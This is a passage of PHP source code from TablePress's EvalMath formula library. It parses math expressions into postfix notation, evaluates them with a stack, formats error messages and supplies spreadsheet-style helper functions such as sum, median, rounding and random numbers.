		$expression = trim( strtolower( $expression ) );

		$ops   = array( '+', '-', '*', '/', '^', '_', '>', '<', '=', '%' );
		$ops_r = array( '+' => 0, '-' => 0, '*' => 0, '/' => 0, '^' => 1, '>' => 0, '<' => 0, '=' => 0, '%' => 0 ); // Right-associative operator?
		$ops_p = array( '+' => 0, '-' => 0, '*' => 1, '/' => 1, '_' => 1, '^' => 2, '>' => 0, '<' => 0, '=' => 0, '%' => 1 ); // Operator precedence.

		// We use this in syntax-checking the expression and determining when a - (minus) is a negation.
		$expecting_operator = false;

		// Make sure the characters are all good.
		if ( 1 === preg_match( '/[^\%\w\s+*^\/()\.,-<>=]/', $expression, $matches ) ) {
			return $this->raise_error( 'illegal_character_general', $matches[0] );
		}

		// Infinite Loop for the conversion.
		while ( true ) {
			// Get the first character at the current index.
			$op = substr( $expression, $index, 1 );
			// Find out if we're currently at the beginning of a number/variable/function/parenthesis/operand.
			$ex = preg_match( '/^(' . self::$name_pattern . '\(?|\d+(?:\.\d*)?(?:(e[+-]?)\d*)?|\.\d+|\()/', substr( $expression, $index ), $match );

			// Is it a negation instead of a minus (in a subtraction)?
			if ( '-' === $op && ! $expecting_operator ) {
				// Put a negation on the stack.
				$stack->push( '_' );
				++$index;
			} elseif ( '_' === $op ) {
				// We have to explicitly deny underscores (as they mean negation), because they are legal on the stack.
				return $this->raise_error( 'illegal_character_underscore' );

				// Are we putting an operator on the stack?
			} elseif ( ( in_array( $op, $ops, true ) || $ex ) && $expecting_operator ) {
				// Are we expecting an operator but have a number/variable/function/opening parethesis?
				if ( $ex ) {
					// It's an implicit multiplication.
					$op = '*';
					--$index;
				}
				// Heart of the algorithm: .
				// phpcs:ignore Generic.CodeAnalysis.AssignmentInCondition.FoundInWhileCondition
				while ( $stack->count > 0 && ( $o2 = $stack->last() ) && in_array( $o2, $ops, true ) && ( $ops_r[ $op ] ? $ops_p[ $op ] < $ops_p[ $o2 ] : $ops_p[ $op ] <= $ops_p[ $o2 ] ) ) {
					// Pop stuff off the stack into the output.
					$output[] = $stack->pop();
				}
				// Many thanks: https://en.wikipedia.org/wiki/Reverse_Polish_notation .
				$stack->push( $op ); // Finally put OUR operator onto the stack.
				++$index;
				$expecting_operator = false;

				// Ready to close a parenthesis?
			} elseif ( ')' === $op && $expecting_operator ) {
				// Pop off the stack back to the last (.
				// phpcs:ignore Generic.CodeAnalysis.AssignmentInCondition.FoundInWhileCondition
				while ( '(' !== ( $o2 = $stack->pop() ) ) {
					if ( is_null( $o2 ) ) {
						return $this->raise_error( 'unexpected_closing_bracket' );
					} else {
						$output[] = $o2;
					}
				}

				// Did we just close a function?
				if ( 1 === preg_match( '/^(' . self::$name_pattern . ')\($/', (string) $stack->last( 2 ), $matches ) ) {
					// Get the function name.
					$function_name = $matches[1];
					// See how many arguments there were (cleverly stored on the stack, thank you).
					$arg_count = $stack->pop();
					$stack->pop(); // $fn
					// Send function to output.
					$output[] = array( 'function_name' => $function_name, 'arg_count' => $arg_count );
					// Check the argument count, depending on what type of function we have.
					if ( in_array( $function_name, $this->builtin_functions, true ) ) {
						// Built-in functions.
						if ( $arg_count > 1 ) { // @phpstan-ignore-line
							$error_data = array( 'expected' => 1, 'given' => $arg_count );
							return $this->raise_error( 'wrong_number_of_arguments', $error_data );
						}
					} elseif ( array_key_exists( $function_name, $this->calc_functions ) ) {
						// Calc-emulation functions.
						$counts = $this->calc_functions[ $function_name ];
						// @phpstan-ignore-next-line
						if ( in_array( -1, $counts, true ) && $arg_count > 0 ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedIf
							// Everything is fine, we expected an indefinite number arguments and got some.
						} elseif ( ! in_array( $arg_count, $counts, true ) ) { // @phpstan-ignore-line
							$error_data = array( 'expected' => implode( '/', $this->calc_functions[ $function_name ] ), 'given' => $arg_count );
							return $this->raise_error( 'wrong_number_of_arguments', $error_data );
						}
					} elseif ( array_key_exists( $function_name, $this->functions ) ) {
						// User-defined functions.
						if ( count( $this->functions[ $function_name ]['args'] ) !== $arg_count ) {
							$error_data = array( 'expected' => count( $this->functions[ $function_name ]['args'] ), 'given' => $arg_count );
							return $this->raise_error( 'wrong_number_of_arguments', $error_data );
						}
					} else {
						// Did we somehow push a non-function on the stack? This should never happen.
						return $this->raise_error( 'internal_error' );
					}
				}
				++$index;

				// Did we just finish a function argument?
			} elseif ( ',' === $op && $expecting_operator ) {
				// phpcs:ignore Generic.CodeAnalysis.AssignmentInCondition.FoundInWhileCondition
				while ( '(' !== ( $o2 = $stack->pop() ) ) {
					if ( is_null( $o2 ) ) {
						// Oops, never had a (.
						return $this->raise_error( 'unexpected_comma' );
					} else {
						// Pop the argument expression stuff and push onto the output.
						$output[] = $o2;
					}
				}
				// Make sure there was a function.
				if ( 0 === preg_match( '/^(' . self::$name_pattern . ')\($/', (string) $stack->last( 2 ), $matches ) ) {
					return $this->raise_error( 'unexpected_comma' );
				}
				// Increment the argument count.
				$stack->push( $stack->pop() + 1 ); // @phpstan-ignore-line
				// Put the ( back on, we'll need to pop back to it again.
				$stack->push( '(' );
				++$index;
				$expecting_operator = false;

			} elseif ( '(' === $op && ! $expecting_operator ) {
				$stack->push( '(' ); // That was easy.
				++$index;

				// Do we now have a function/variable/number?
			} elseif ( $ex && ! $expecting_operator ) {
				$expecting_operator = true;
				$value = $match[1];
				// May be a function, or variable with implicit multiplication against parentheses...
				if ( 1 === preg_match( '/^(' . self::$name_pattern . ')\($/', $value, $matches ) ) {
					// Is it a function?
					if ( in_array( $matches[1], $this->builtin_functions, true ) || array_key_exists( $matches[1], $this->functions ) || array_key_exists( $matches[1], $this->calc_functions ) ) {
						$stack->push( $value );
						$stack->push( 1 );
						$stack->push( '(' );
						$expecting_operator = false;
						// It's a variable with implicit multiplication.
					} else {
						$value = $matches[1];
						$output[] = $value;
					}
				} else {
					// It's a plain old variable or number.
					$output[] = $value;
				}
				$index += strlen( $value );

			} elseif ( ')' === $op ) {
				// It could be only custom function with no arguments or a general error.
				if ( '(' !== $stack->last() || 1 !== $stack->last( 2 ) ) {
					return $this->raise_error( 'unexpected_closing_bracket' );
				}
				// Did we just close a function?
				if ( 1 === preg_match( '/^(' . self::$name_pattern . ')\($/', (string) $stack->last( 3 ), $matches ) ) {
					$stack->pop(); // (
					$stack->pop(); // 1
					$stack->pop(); // $fn
					// Get the function name.
					$function_name = $matches[1];
					if ( isset( $this->calc_functions[ $function_name ] ) ) {
						// Custom calc-emulation function.
						$counts = $this->calc_functions[ $function_name ];
					} else {
						// Default count for built-in functions.
						$counts = array( 1 );
					}
					if ( ! in_array( 0, $counts, true ) ) {
						$error_data = array( 'expected' => $counts, 'given' => 0 );
						return $this->raise_error( 'wrong_number_of_arguments', $error_data );
					}
					// Send function to output.
					$output[] = array( 'function_name' => $function_name, 'arg_count' => 0 );
					++$index;
					$expecting_operator = true;
				} else {
					return $this->raise_error( 'unexpected_closing_bracket' );
				}

				// Miscellaneous error checking.
			} elseif ( in_array( $op, $ops, true ) && ! $expecting_operator ) {
				return $this->raise_error( 'unexpected_operator', $op );

				// I don't even want to know what you did to get here.
			} else {
				return $this->raise_error( 'an_unexpected_error_occurred' );
			}

			if ( strlen( $expression ) === $index ) {
				// Did we end with an operator? Bad.
				if ( in_array( $op, $ops, true ) ) {
					return $this->raise_error( 'operator_lacks_operand', $op );
				} else {
					break;
				}
			}

			// Step the index past whitespace (pretty much turns whitespace into implicit multiplication if no operator is there).
			while ( ' ' === substr( $expression, $index, 1 ) ) {
				++$index;
			}
		} // while ( true )

		// Pop everything off the stack and push onto output.
		// phpcs:ignore Generic.CodeAnalysis.AssignmentInCondition.FoundInWhileCondition
		while ( ! is_null( $op = $stack->pop() ) ) {
			if ( '(' === $op ) {
				// If there are (s on the stack, ()s were unbalanced.
				return $this->raise_error( 'expecting_a_closing_bracket' );
			}
			$output[] = $op;
		}

		return $output;
	}

	/**
	 * Evaluate postfix notation.
	 *
	 * @since 1.0.0
	 *
	 * @param array<int, string|mixed[]>|false $tokens    [description].
	 * @param array<string, mixed>             $variables Optional. [description].
	 * @return mixed [description].
	 */
	protected function pfx( $tokens, array $variables = array() ) /* : mixed */ {
		if ( false === $tokens ) {
			return false;
		}

		$stack = new EvalMath_Stack();

		foreach ( $tokens as $token ) {
			// If the token is a function, pop arguments off the stack, hand them to the function, and push the result back on.
			if ( is_array( $token ) ) { // it's a function!
				$function_name = $token['function_name'];
				$count = $token['arg_count'];

				if ( in_array( $function_name, $this->builtin_functions, true ) ) {
					// Built-in function.

					$op1 = $stack->pop();
					if ( is_null( $op1 ) ) {
						return $this->raise_error( 'internal_error' );
					}
					// For the "arc" trigonometric synonyms.
					$function_name = preg_replace( '/^arc/', 'a', $function_name );
					// Rewrite "ln" (only allows one argument) to "log" (natural logarithm).
					if ( 'ln' === $function_name ) {
						$function_name = 'log';
					}
					// Perfectly safe eval().
					// phpcs:ignore Squiz.PHP.Eval.Discouraged
					eval( '$stack->push( ' . $function_name . '( $op1 ) );' );
				} elseif ( array_key_exists( $function_name, $this->calc_functions ) ) {
					// Calc-emulation function.

					// Get function arguments.
					$args = array();
					for ( $i = $count - 1; $i >= 0; $i-- ) {
						$arg = $stack->pop();
						if ( is_null( $arg ) ) {
							return $this->raise_error( 'internal_error' );
						} else {
							$args[] = $arg;
						}
					}
					// Rewrite some functions to their synonyms.
					if ( 'if' === $function_name ) {
						$function_name = 'func_if';
					} elseif ( 'not' === $function_name ) {
						$function_name = 'func_not';
					} elseif ( 'and' === $function_name ) {
						$function_name = 'func_and';
					} elseif ( 'or' === $function_name ) {
						$function_name = 'func_or';
					} elseif ( 'mean' === $function_name ) {
						$function_name = 'average';
					} elseif ( 'arctan2' === $function_name ) {
						$function_name = 'atan2';
					}
					$result = EvalMath_Functions::$function_name( ...array_reverse( $args ) );
					if ( false === $result ) {
						return $this->raise_error( 'internal_error' );
					}
					$stack->push( $result );
				} elseif ( array_key_exists( $function_name, $this->functions ) ) {
					// User-defined function.

					// Get function arguments.
					$args = array();
					for ( $i = count( $this->functions[ $function_name ]['args'] ) - 1; $i >= 0; $i-- ) {
						$arg = $stack->pop();
						if ( is_null( $arg ) ) {
							return $this->raise_error( 'internal_error' );
						} else {
							$args[ $this->functions[ $function_name ]['args'][ $i ] ] = $arg;
						}
					}
					// yay... recursion!
					$stack->push( $this->pfx( $this->functions[ $function_name ]['func'], $args ) ); // @phpstan-ignore-line
				}
			} elseif ( in_array( $token, array( '+', '-', '*', '/', '^', '>', '<', '=', '%' ), true ) ) {
				// If the token is a binary operator, pop two values off the stack, do the operation, and push the result back on.
				$op2 = $stack->pop();
				if ( is_null( $op2 ) ) {
					return $this->raise_error( 'internal_error' );
				}
				$op1 = $stack->pop();
				if ( is_null( $op1 ) ) {
					return $this->raise_error( 'internal_error' );
				}
				switch ( $token ) {
					case '+':
						$stack->push( $op1 + $op2 );
						break;
					case '-':
						$stack->push( $op1 - $op2 );
						break;
					case '*':
						$stack->push( $op1 * $op2 );
						break;
					case '/':
						if ( 0 === $op2 || '0' === $op2 ) {
							return $this->raise_error( 'division_by_zero' );
						}
						$stack->push( $op1 / $op2 );
						break;
					case '^':
						$stack->push( pow( $op1, $op2 ) );
						break;
					case '>':
						$stack->push( (int) ( $op1 > $op2 ) );
						break;
					case '<':
						$stack->push( (int) ( $op1 < $op2 ) );
						break;
					case '=':
						// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison,Universal.Operators.StrictComparisons.LooseEqual
						$stack->push( (int) ( $op1 == $op2 ) ); // Don't use === as the variable type can differ (int/double/bool).
						break;
					case '%':
						$stack->push( $op1 % $op2 );
						break;
				}
			} elseif ( '_' === $token ) {
				// If the token is a unary operator, pop one value off the stack, do the operation, and push it back on.
				$stack->push( -1 * $stack->pop() );
			} elseif ( is_numeric( $token ) ) {
				// If the token is a number, push it on the stack.
				$stack->push( $token );
			} elseif ( array_key_exists( $token, $this->variables ) ) {
				// If the token is a variable, push it on the stack.
				$stack->push( $this->variables[ $token ] );
			} elseif ( array_key_exists( $token, $variables ) ) {
				// If the token is a variable, push it on the stack.
				$stack->push( $variables[ $token ] );
			} else {
				return $this->raise_error( 'undefined_variable', $token );
			}
		}
		// When we're out of tokens, the stack should have a single element, the final result.
		if ( 1 !== $stack->count ) {
			return $this->raise_error( 'internal_error' );
		}
		return $stack->pop();
	}

	/**
	 * Raise an error.
	 *
	 * @since 1.0.0
	 *
	 * @param string         $message    Error message.
	 * @param mixed[]|string $error_data Optional. Additional error data.
	 * @return false False, to stop evaluation.
	 */
	protected function raise_error( $message, $error_data = null ): bool {
		$this->last_error = $this->get_error_string( $message, $error_data );
		return false;
	}

	/**
	 * Get a translated string for an error message.
	 *
	 * @since 1.0.0
	 *
	 * @link https://github.com/moodle/moodle/blob/13264f35057d2f37374ec3e0e8ad4070f4676bd7/lang/en/mathslib.php
	 * @link https://github.com/moodle/moodle/blob/8e54ce9717c19f768b95f4332f70e3180ffafc46/lib/moodlelib.php#L6323
	 *
	 * @param string         $identifier Identifier of the string.
	 * @param mixed[]|string $error_data Optional. Additional error data.
	 * @return string Translated string.
	 */
	protected function get_error_string( $identifier, $error_data = null ): string {
		$strings = array();
		$strings['an_unexpected_error_occurred'] = 'an unexpected error occurred';
		$strings['cannot_assign_to_constant'] = 'cannot assign to constant \'{$error_data}\'';
		$strings['cannot_redefine_builtin_function'] = 'cannot redefine built-in function \'{$error_data}()\'';
		$strings['division_by_zero'] = 'division by zero';
		$strings['expecting_a_closing_bracket'] = 'expecting a closing bracket';
		$strings['illegal_character_general'] = 'illegal character \'{$error_data}\'';
		$strings['illegal_character_underscore'] = 'illegal character \'_\'';
		$strings['internal_error'] = 'internal error';
		$strings['operator_lacks_operand'] = 'operator \'{$error_data}\' lacks operand';
		$strings['undefined_variable'] = 'undefined variable \'{$error_data}\'';
		$strings['undefined_variable_in_function_definition'] = 'undefined variable \'{$error_data}\' in function definition';
		$strings['unexpected_closing_bracket'] = 'unexpected closing bracket';
		$strings['unexpected_comma'] = 'unexpected comma';
		$strings['unexpected_operator'] = 'unexpected operator \'{$error_data}\'';
		$strings['wrong_number_of_arguments'] = 'wrong number of arguments ({$error_data->given} given, {$error_data->expected} expected)';

		$a_string = $strings[ $identifier ];

		if ( null !== $error_data ) {
			if ( is_array( $error_data ) ) {
				$search = array();
				$replace = array();
				foreach ( $error_data as $key => $value ) {
					if ( is_int( $key ) ) {
						// We do not support numeric keys!
						continue;
					}
					if ( is_object( $value ) || is_array( $value ) ) {
						$value = (array) $value;
						if ( count( $value ) > 1 ) {
							$value = implode( ' or ', $value );
						} else {
							$value = (string) $value[0];
							if ( '-1' === $value ) {
								$value = 'at least 1';
							}
						}
					}
					$search[] = '{$error_data->' . $key . '}';
					$replace[] = (string) $value;
				}
				if ( $search ) {
					$a_string = str_replace( $search, $replace, $a_string );
				}
			} else {
				$a_string = str_replace( '{$error_data}', (string) $error_data, $a_string );
			}
		}

		return $a_string;
	}

} // class EvalMath

/**
 * Stack for the postfix/infix conversion of math expressions.
 *
 * @package TablePress
 * @subpackage Formulas
 * @since 1.0.0
 */
class EvalMath_Stack { // phpcs:ignore Generic.Files.OneObjectStructurePerFile.MultipleFound,Generic.Classes.OpeningBraceSameLine.ContentAfterBrace

	/**
	 * The stack.
	 *
	 * @since 1.0.0
	 * @var mixed[]
	 */
	protected $stack = array();

	/**
	 * Number of items on the stack.
	 *
	 * @since 1.0.0
	 * @var int
	 */
	public $count = 0;

	/**
	 * Push an item onto the stack.
	 *
	 * @since 1.0.0
	 *
	 * @param mixed $value The item that is pushed onto the stack.
	 */
	public function push( $value ): void {
		$this->stack[ $this->count ] = $value;
		++$this->count;
	}

	/**
	 * Pop an item from the top of the stack.
	 *
	 * @since 1.0.0
	 *
	 * @return mixed|null The item that is popped from the stack.
	 */
	public function pop() /* : mixed|null */ {
		if ( $this->count > 0 ) {
			--$this->count;
			return $this->stack[ $this->count ];
		}
		return null;
	}

	/**
	 * Pop an item from the end of the stack.
	 *
	 * @since 1.0.0
	 *
	 * @param int $n Count from the end of the stack.
	 * @return mixed|null The item that is popped from the stack.
	 */
	public function last( $n = 1 ) /* : mixed|null */ {
		if ( ( $this->count - $n ) >= 0 ) {
			return $this->stack[ $this->count - $n ];
		}
		return null;
	}

} // class EvalMath_Stack

/**
 * Common math functions, prepared for usage in EvalMath.
 *
 * @package TablePress
 * @subpackage EvalMath
 * @since 1.0.0
 */
class EvalMath_Functions { // phpcs:ignore Generic.Files.OneObjectStructurePerFile.MultipleFound,Generic.Classes.OpeningBraceSameLine.ContentAfterBrace

	/**
	 * Seed for the generation of random numbers.
	 *
	 * @since 1.0.0
	 * @var string|null
	 */
	protected static $random_seed = null;

	/**
	 * Choose from two values based on an if-condition.
	 *
	 * "if" is not a valid function name, which is why it's prefixed with "func_".
	 *
	 * @since  1.0.0
	 *
	 * @param double|int $condition   Condition.
	 * @param double|int $statement   Return value if the condition is true.
	 * @param double|int $alternative Return value if the condition is false.
	 * @return double|int Result of the if check.
	 */
	public static function func_if( $condition, $statement, $alternative ) /* : float|int */ {
		return ( (bool) $condition ? $statement : $alternative );
	}

	/**
	 * Return the negation (boolean "not") of a value.
	 *
	 * Similar to "func_if", the function name is prefixed with "func_", although it wouldn't be necessary.
	 *
	 * @since  1.0.0
	 *
	 * @param double|int $value Value to be negated.
	 * @return int Negated value (0 for false, 1 for true).
	 */
	public static function func_not( $value ): int {
		return (int) ! (bool) $value;
	}

	/**
	 * Calculate the conjunction (boolean "and") of some values.
	 *
	 * "and" is not a valid function name, which is why it's prefixed with "func_".
	 *
	 * @since 1.0.0
	 *
	 * @param double|int ...$args Values for which the conjunction shall be calculated.
	 * @return int Conjunction of the passed arguments.
	 */
	public static function func_and( ...$args ): int {
		foreach ( $args as $value ) {
			if ( ! $value ) {
				return 0;
			}
		}
		return 1;
	}

	/**
	 * Calculate the disjunction (boolean "or") of some values.
	 *
	 * "or" is not a valid function name, which is why it's prefixed with "func_".
	 *
	 * @since 1.0.0
	 *
	 * @param double|int ...$args Values for which the disjunction shall be calculated.
	 * @return int Disjunction of the passed arguments.
	 */
	public static function func_or( ...$args ): int {
		foreach ( $args as $value ) {
			if ( $value ) {
				return 1;
			}
		}
		return 0;
	}

	/**
	 * Return the (rounded) value of Pi.
	 *
	 * @since 1.0.0
	 *
	 * @return double Rounded value of Pi.
	 */
	public static function pi(): float {
		return pi();
	}

	/**
	 * Calculate the sum of the arguments.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int ...$args Values for which the sum shall be calculated.
	 * @return double|int Sum of the passed arguments.
	 */
	public static function sum( ...$args ) /* : float|int */ {
		return array_sum( $args );
	}

	/**
	 * Count the number of non-empty arguments.
	 *
	 * @since 1.10.0
	 *
	 * @param double|int ...$args Values for which the number of non-empty elements shall be counted.
	 * @return int Counted number of non-empty elements in the passed values.
	 */
	public static function counta( ...$args ): int {
		return count( array_filter( $args ) );
	}

	/**
	 * Calculate the product of the arguments.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int ...$args Values for which the product shall be calculated.
	 * @return double|int Product of the passed arguments.
	 */
	public static function product( ...$args ) /* : float|int */ {
		return array_product( $args );
	}

	/**
	 * Calculate the average/mean value of the arguments.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int ...$args Values for which the average shall be calculated.
	 * @return double|int Average value of the passed arguments.
	 */
	public static function average( ...$args ) /* : float|int */ {
		// Catch division by zero.
		if ( 0 === count( $args ) ) {
			return 0;
		}
		return array_sum( $args ) / count( $args );
	}

	/**
	 * Calculate the median of the arguments.
	 *
	 * For even counts of arguments, the upper median is returned.
	 *
	 * @since 1.0.0
	 *
	 * @param array<int, double|int> ...$args Values for which the median shall be calculated.
	 * @return double|int Median of the passed arguments.
	 */
	public static function median( array ...$args ) /* : float|int */ {
		sort( $args );
		$middle = intdiv( count( $args ), 2 ); // Upper median for even counts.
		return $args[ $middle ]; // @phpstan-ignore-line
	}

	/**
	 * Calculate the mode of the arguments.
	 *
	 * @since 1.0.0
	 *
	 * @param array<int, double|int> ...$args Values for which the mode shall be calculated.
	 * @return double|int Mode of the passed arguments.
	 */
	public static function mode( ...$args ) /* : float|int */ {
		$values = array_count_values( $args );
		asort( $values );
		return array_key_last( $values ); // @phpstan-ignore-line
	}

	/**
	 * Calculate the range of the arguments.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int ...$args Values for which the range shall be calculated.
	 * @return double|int Range of the passed arguments.
	 */
	public static function range( ...$args ) /* : float|int */ {
		sort( $args );
		return end( $args ) - reset( $args );
	}

	/**
	 * Find the maximum value of the arguments.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int ...$args Values for which the maximum value shall be found.
	 * @return double|int Maximum value of the passed arguments.
	 */
	public static function max( ...$args ) /* : float|int */ {
		return max( $args );
	}

	/**
	 * Find the minimum value of the arguments.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int ...$args Values for which the minimum value shall be found.
	 * @return double|int Minimum value of the passed arguments.
	 */
	public static function min( ...$args ) /* : float|int */ {
		return min( $args );
	}

	/**
	 * Calculate the remainder of a division of two numbers.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int $op1 First number (dividend).
	 * @param double|int $op2 Second number (divisor).
	 * @return int Remainder of the division (dividend / divisor).
	 */
	public static function mod( $op1, $op2 ): int {
		return $op1 % $op2;
	}

	/**
	 * Calculate the power of a base and an exponent.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int $base     Base.
	 * @param double|int $exponent Exponent.
	 * @return double|int Power base^exponent.
	 */
	public static function power( $base, $exponent ) /* : float|int */ {
		return pow( $base, $exponent );
	}

	/**
	 * Calculate the logarithm of a number to a base.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int $number Number.
	 * @param double|int $base   Optional. Base for the logarithm. Default e (for the natural logarithm).
	 * @return double Logarithm of the number to the base.
	 */
	public static function log( $number, $base = M_E ): float {
		return log( $number, $base );
	}

	/**
	 * Calculate the arc tangent of two variables.
	 *
	 * The signs of the numbers determine the quadrant of the result.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int $op1 First number.
	 * @param double|int $op2 Second number.
	 * @return double Arc tangent of two numbers, similar to arc tangent of $op1/op$ except for the sign.
	 */
	public static function atan2( $op1, $op2 ): float {
		return atan2( $op1, $op2 );
	}

	/**
	 * Round a number to a given precision.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int $value    Number to be rounded.
	 * @param int        $decimals Optional. Number of decimals after the comma after the rounding.
	 * @return double Rounded number.
	 */
	public static function round( $value, $decimals = 0 ): float {
		return round( $value, $decimals );
	}

	/**
	 * Format a number with the . as the decimal separator and the , as the thousand separator, rounded to a precision.
	 *
	 * The is the common number format in English-language regions.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int $value    Number to be rounded and formatted.
	 * @param int        $decimals Optional. Number of decimals after the decimal separator after the rounding.
	 * @return string Formatted number.
	 */
	public static function number_format( $value, $decimals = 0 ): string {
		return number_format( $value, $decimals, '.', ',' );
	}

	/**
	 * Format a number with the , as the decimal separator and the space as the thousand separator, rounded to a precision.
	 *
	 * The is the common number format in non-English-language regions, mainly in Europe.
	 *
	 * @since 1.0.0
	 *
	 * @param double|int $value    Number to be rounded and formatted.
	 * @param int        $decimals Optional. Number of decimals after the decimal separator after the rounding.
	 * @return string Formatted number.
	 */
	public static function number_format_eu( $value, $decimals = 0 ): string {
		return number_format( $value, $decimals, ',', ' ' );
	}

	/**
	 * Set the seed for the generation of random numbers.
	 *
	 * @since 1.0.0
	 *
	 * @param string $random_seed The seed.
	 */
	protected static function _set_random_seed( $random_seed ): void {
		self::$random_seed = $random_seed;
	}

	/**
	 * Get the seed for the generation of random numbers.
	 *
	 * @since 1.0.0
	 *
	 * @return string The seed.
	 */
	protected static function _get_random_seed(): string {
		if ( is_null( self::$random_seed ) ) {
			return microtime();
		}
		return self::$random_seed;
	}

	/**
	 * Get a random integer from a range.
	 *
	 * @since 1.0.0
	 *
	 * @param int $min Minimum value for the range.
	 * @param int $max Maximum value for the range.
	 * @return int Random integer from the range [$min, $max].
	 */
	public static function rand_int( $min, $max ): int {
		// Swap min and max value if min is bigger than max.
		if ( $min > $max ) {
			$tmp = $max;
			$max = $min;
			$min = $tmp;
			unset( $tmp );
		}
		$number_characters = (int) ceil( log( $max + 1 - $min, 16 ) );
		$md5string = md5( self::_get_random_seed() );
		$offset = 0;
		do {
			while ( ( $offset + $number_characters ) > strlen( $md5string ) ) { // phpcs:ignore Squiz.PHP.DisallowSizeFunctionsInLoops.Found
				$md5string .= md5( $md5string );
			}
			$random_number = (int) hexdec( substr( $md5string, $offset, $number_characters ) );
			$offset += $number_characters;
		} while ( ( $min + $random_number ) > $max );
		return $min + $random_number;
	}

	/**
	 * Get a random double value from a range [0, 1].
	 *
	 * @since 1.0.0
	 *
	 * @return double Random number from the range [0, 1].
	 */
	public static function rand_float(): float {
		$random_values = unpack( 'v', md5( self::_get_random_seed(), true ) );
		return array_shift( $random_values ) / 65536; // @phpstan-ignore-line
	}

} // class EvalMath_Functions